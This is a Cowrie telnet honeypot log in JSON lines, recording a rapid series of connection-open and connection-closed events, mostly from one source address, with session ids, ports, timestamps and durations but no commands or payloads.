{"eventid":"cowrie.session.closed","duration":31.23056173324585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.326476Z","src_ip":"23.111.140.22","session":"5340009590b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88093018531799,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.579043Z","src_ip":"23.111.140.22","session":"394833e5bc97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54354,"dst_ip":"10.17.0.5","dst_port":23,"session":"9354e0b7d941","protocol":"telnet","message":"New connection: 23.111.140.22:54354 (10.17.0.5:23) [session: 9354e0b7d941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:28.836321Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55798,"dst_ip":"10.17.0.5","dst_port":23,"session":"175ead0d0d57","protocol":"telnet","message":"New connection: 23.111.140.22:55798 (10.17.0.5:23) [session: 175ead0d0d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:29.352246Z"}
{"eventid":"cowrie.session.closed","duration":37.7327778339386,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:29.832462Z","src_ip":"23.111.140.22","session":"60919149e26f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4c03db13bd","protocol":"telnet","message":"New connection: 23.111.140.22:59138 (10.17.0.5:23) [session: 2f4c03db13bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:30.532312Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34894,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2e4e224a45","protocol":"telnet","message":"New connection: 23.111.140.22:34894 (10.17.0.5:23) [session: ee2e4e224a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:30.888754Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35700,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b57458d978","protocol":"telnet","message":"New connection: 23.111.140.22:35700 (10.17.0.5:23) [session: 23b57458d978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:31.151601Z"}
{"eventid":"cowrie.session.closed","duration":32.41471219062805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:31.797908Z","src_ip":"23.111.140.22","session":"d3ff8cf14e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.944517135620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:31.948574Z","src_ip":"23.111.140.22","session":"bc700f3649de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38278,"dst_ip":"10.17.0.5","dst_port":23,"session":"5917c225b04f","protocol":"telnet","message":"New connection: 23.111.140.22:38278 (10.17.0.5:23) [session: 5917c225b04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.028238Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7039836905","protocol":"telnet","message":"New connection: 23.111.140.22:36162 (10.17.0.5:23) [session: 0f7039836905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.321550Z"}
{"eventid":"cowrie.session.closed","duration":31.26820683479309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.735904Z","src_ip":"23.111.140.22","session":"98de99b66304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.799723625183105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.839658Z","src_ip":"23.111.140.22","session":"86e89a57bfcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37704,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b044195632","protocol":"telnet","message":"New connection: 23.111.140.22:37704 (10.17.0.5:23) [session: d8b044195632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.870445Z"}
{"eventid":"cowrie.session.closed","duration":31.555771589279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:32.999065Z","src_ip":"23.111.140.22","session":"3b1d52671c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38591,"dst_ip":"10.17.0.5","dst_port":23,"session":"5037297cbc5f","protocol":"telnet","message":"New connection: 23.111.140.22:38591 (10.17.0.5:23) [session: 5037297cbc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.185896Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41308,"dst_ip":"10.17.0.5","dst_port":23,"session":"673a0a38faf1","protocol":"telnet","message":"New connection: 23.111.140.22:41308 (10.17.0.5:23) [session: 673a0a38faf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.238848Z"}
{"eventid":"cowrie.session.closed","duration":30.44399094581604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.370988Z","src_ip":"23.111.140.22","session":"88c47d3520f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902081966400146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.594892Z","src_ip":"23.111.140.22","session":"3395a91f5848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f371b268c564","protocol":"telnet","message":"New connection: 23.111.140.22:42654 (10.17.0.5:23) [session: f371b268c564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.858296Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43130,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d29f7254d0d","protocol":"telnet","message":"New connection: 23.111.140.22:43130 (10.17.0.5:23) [session: 2d29f7254d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:33.980578Z"}
{"eventid":"cowrie.session.closed","duration":12.73530387878418,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:34.742406Z","src_ip":"45.230.194.255","session":"deaff683e8b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.249831676483154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:35.147150Z","src_ip":"23.111.140.22","session":"f660299d1a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44396,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d9fcf5da9a0","protocol":"telnet","message":"New connection: 23.111.140.22:44396 (10.17.0.5:23) [session: 7d9fcf5da9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:35.473204Z"}
{"eventid":"cowrie.session.closed","duration":32.74372315406799,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:35.559422Z","src_ip":"23.111.140.22","session":"87140b0ea226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47396,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f50d9411ed","protocol":"telnet","message":"New connection: 23.111.140.22:47396 (10.17.0.5:23) [session: 46f50d9411ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:35.581933Z"}
{"eventid":"cowrie.session.closed","duration":31.85169267654419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:35.966827Z","src_ip":"23.111.140.22","session":"6e95373d9eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746336221694946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:36.165994Z","src_ip":"23.111.140.22","session":"dca0e9c9f933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04472804069519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:36.233967Z","src_ip":"23.111.140.22","session":"a4ab4e24fc13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978907108306885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:36.259331Z","src_ip":"23.111.140.22","session":"860d84be1089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516669988632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:38.144838Z","src_ip":"23.111.140.22","session":"9b0c1144be28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":50092,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2975d34b97d","protocol":"telnet","message":"New connection: 49.88.156.34:50092 (10.17.0.5:23) [session: b2975d34b97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:38.210258Z"}
{"eventid":"cowrie.session.closed","duration":30.491406440734863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:38.401744Z","src_ip":"23.111.140.22","session":"9ca3621e2076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52728,"dst_ip":"10.17.0.5","dst_port":23,"session":"343bb4a2a6d5","protocol":"telnet","message":"New connection: 23.111.140.22:52728 (10.17.0.5:23) [session: 343bb4a2a6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:38.562627Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57260,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ec2a62435c5","protocol":"telnet","message":"New connection: 23.111.140.22:57260 (10.17.0.5:23) [session: 6ec2a62435c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:38.975697Z"}
{"eventid":"cowrie.session.closed","duration":30.595179796218872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:39.077420Z","src_ip":"23.111.140.22","session":"ba99df06468c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840317487716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:39.134662Z","src_ip":"23.111.140.22","session":"0c75889bcccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21032905578613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:39.292115Z","src_ip":"23.111.140.22","session":"f11860048e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479897260665894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:39.705005Z","src_ip":"23.111.140.22","session":"ed43cbb0cbd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52053689956665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:39.782599Z","src_ip":"23.111.140.22","session":"36235c23ab4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7abe15b19b","protocol":"telnet","message":"New connection: 23.111.140.22:60272 (10.17.0.5:23) [session: 7c7abe15b19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:40.002797Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32994,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31c906b786c","protocol":"telnet","message":"New connection: 23.111.140.22:32994 (10.17.0.5:23) [session: c31c906b786c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:40.417502Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34632,"dst_ip":"10.17.0.5","dst_port":23,"session":"520fc088e0fd","protocol":"telnet","message":"New connection: 23.111.140.22:34632 (10.17.0.5:23) [session: 520fc088e0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:40.949997Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0699f63c95d","protocol":"telnet","message":"New connection: 23.111.140.22:35376 (10.17.0.5:23) [session: a0699f63c95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:41.224769Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"4350dedbbffa","protocol":"telnet","message":"New connection: 23.111.140.22:33824 (10.17.0.5:23) [session: 4350dedbbffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:41.717127Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34188,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac0310eb7ae","protocol":"telnet","message":"New connection: 23.111.140.22:34188 (10.17.0.5:23) [session: aac0310eb7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:41.828242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37090,"dst_ip":"10.17.0.5","dst_port":23,"session":"244ff179d058","protocol":"telnet","message":"New connection: 23.111.140.22:37090 (10.17.0.5:23) [session: 244ff179d058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:41.851574Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37176,"dst_ip":"10.17.0.5","dst_port":23,"session":"64a2b134dba6","protocol":"telnet","message":"New connection: 23.111.140.22:37176 (10.17.0.5:23) [session: 64a2b134dba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:41.876861Z"}
{"eventid":"cowrie.session.closed","duration":30.940794467926025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:42.145279Z","src_ip":"23.111.140.22","session":"ff11f5993509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943418741226196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:42.308618Z","src_ip":"23.111.140.22","session":"dd440756ed3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907171726226807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:42.517037Z","src_ip":"23.111.140.22","session":"2472cf14be46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38974,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5dd6275f6b","protocol":"telnet","message":"New connection: 23.111.140.22:38974 (10.17.0.5:23) [session: cc5dd6275f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:43.518717Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39930,"dst_ip":"10.17.0.5","dst_port":23,"session":"53be3b2dcb4b","protocol":"telnet","message":"New connection: 23.111.140.22:39930 (10.17.0.5:23) [session: 53be3b2dcb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:43.846054Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36224,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c246e4cab8","protocol":"telnet","message":"New connection: 23.111.140.22:36224 (10.17.0.5:23) [session: 85c246e4cab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.129232Z"}
{"eventid":"cowrie.session.closed","duration":0.03729557991027832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.166406Z","src_ip":"23.111.140.22","session":"85c246e4cab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43854,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb8a251f304","protocol":"telnet","message":"New connection: 23.111.140.22:43854 (10.17.0.5:23) [session: afb8a251f304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.246396Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35838,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7aeb2fa65f","protocol":"telnet","message":"New connection: 23.111.140.22:35838 (10.17.0.5:23) [session: ad7aeb2fa65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.413301Z"}
{"eventid":"cowrie.session.closed","duration":31.455253839492798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.678070Z","src_ip":"23.111.140.22","session":"21c806b313f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a2fb4e0a4f5","protocol":"telnet","message":"New connection: 23.111.140.22:42570 (10.17.0.5:23) [session: 4a2fb4e0a4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:44.829569Z"}
{"eventid":"cowrie.session.closed","duration":31.194419145584106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:45.417130Z","src_ip":"23.111.140.22","session":"e5f7899bf7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cdfc3fa7c1","protocol":"telnet","message":"New connection: 23.111.140.22:44764 (10.17.0.5:23) [session: c3cdfc3fa7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:45.585641Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47748,"dst_ip":"10.17.0.5","dst_port":23,"session":"921471022da0","protocol":"telnet","message":"New connection: 23.111.140.22:47748 (10.17.0.5:23) [session: 921471022da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:45.624769Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33422,"dst_ip":"159.203.135.109","dst_port":23,"session":"a788ef0e7fec","protocol":"telnet","message":"New connection: 174.138.46.234:33422 (159.203.135.109:23) [session: a788ef0e7fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:45.820670Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46300,"dst_ip":"10.17.0.5","dst_port":23,"session":"4156bc3d848d","protocol":"telnet","message":"New connection: 23.111.140.22:46300 (10.17.0.5:23) [session: 4156bc3d848d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:46.037665Z"}
{"eventid":"cowrie.session.closed","duration":32.202107667922974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:46.403502Z","src_ip":"23.111.140.22","session":"bf95051a8745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"adadd69c9d61","protocol":"telnet","message":"New connection: 23.111.140.22:50504 (10.17.0.5:23) [session: adadd69c9d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:46.597928Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"03205ab1a1b8","protocol":"telnet","message":"New connection: 23.111.140.22:51152 (10.17.0.5:23) [session: 03205ab1a1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:46.807312Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51290,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe0752419db","protocol":"telnet","message":"New connection: 23.111.140.22:51290 (10.17.0.5:23) [session: dbe0752419db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:46.882633Z"}
{"eventid":"cowrie.session.closed","duration":34.097286224365234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:47.369438Z","src_ip":"23.111.140.22","session":"a7b8c0a5ab69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42858862876892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:47.466287Z","src_ip":"23.111.140.22","session":"25433dfa0f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.588454723358154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:48.055501Z","src_ip":"23.111.140.22","session":"08e4594e6182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.291874647140503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:48.395266Z","src_ip":"23.111.140.22","session":"dcd2385df695","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939385890960693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:48.645238Z","src_ip":"23.111.140.22","session":"d85ae7eae25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48346,"dst_ip":"10.17.0.5","dst_port":23,"session":"521ded25c858","protocol":"telnet","message":"New connection: 23.111.140.22:48346 (10.17.0.5:23) [session: 521ded25c858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:48.834286Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c83ceb4edb","protocol":"telnet","message":"New connection: 23.111.140.22:57414 (10.17.0.5:23) [session: d5c83ceb4edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:48.922063Z"}
{"eventid":"cowrie.session.closed","duration":31.29793381690979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:49.229056Z","src_ip":"23.111.140.22","session":"f73e3f065f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27522921562195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:49.250568Z","src_ip":"23.111.140.22","session":"d3879aab1b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59592,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ecf1c97eb01","protocol":"telnet","message":"New connection: 23.111.140.22:59592 (10.17.0.5:23) [session: 5ecf1c97eb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:49.689020Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"524074f7d1e3","protocol":"telnet","message":"New connection: 23.111.140.22:59688 (10.17.0.5:23) [session: 524074f7d1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:49.723177Z"}
{"eventid":"cowrie.session.closed","duration":31.130754232406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:50.173465Z","src_ip":"23.111.140.22","session":"5a11b75dcfe5","protocol":"telnet"}
